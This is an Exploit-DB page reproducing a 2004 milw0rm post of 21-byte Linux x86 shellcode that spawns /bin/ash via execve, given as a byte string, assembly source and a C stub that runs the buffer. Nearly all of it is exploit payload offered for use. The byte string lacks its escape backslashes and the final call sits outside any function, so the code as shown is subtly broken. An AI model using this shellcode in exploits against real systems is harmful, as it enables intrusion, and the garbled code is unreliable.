https://www.exploit-db.com/exploits/13423

漏洞细节尚未披露

/* 21 byte execve("/bin/ash",0,0); shellcode for linux x86
 * by zasta (zasta at darkircop.org) */
#include <unistd.h>
#include <stdio.h>
char shellcode[] =      "x31xc9xf7xe1x04x0bx52x68"
                        "x2fx61x73x68x68x2fx62x69"
                        "x6ex89xe3xcdx80";
void code() {
        __asm__("
                xor %ecx,%ecx
                mul %ecx
                addb $0xb,%al
                push %edx
                push $0x6873612f
                push $0x6e69622f
                mov %esp,%ebx
                int $0x80
        ");
}
void (*ptr)() = (void(*)()) &shellcode[0];(*ptr)();


// milw0rm.com [2004-11-15]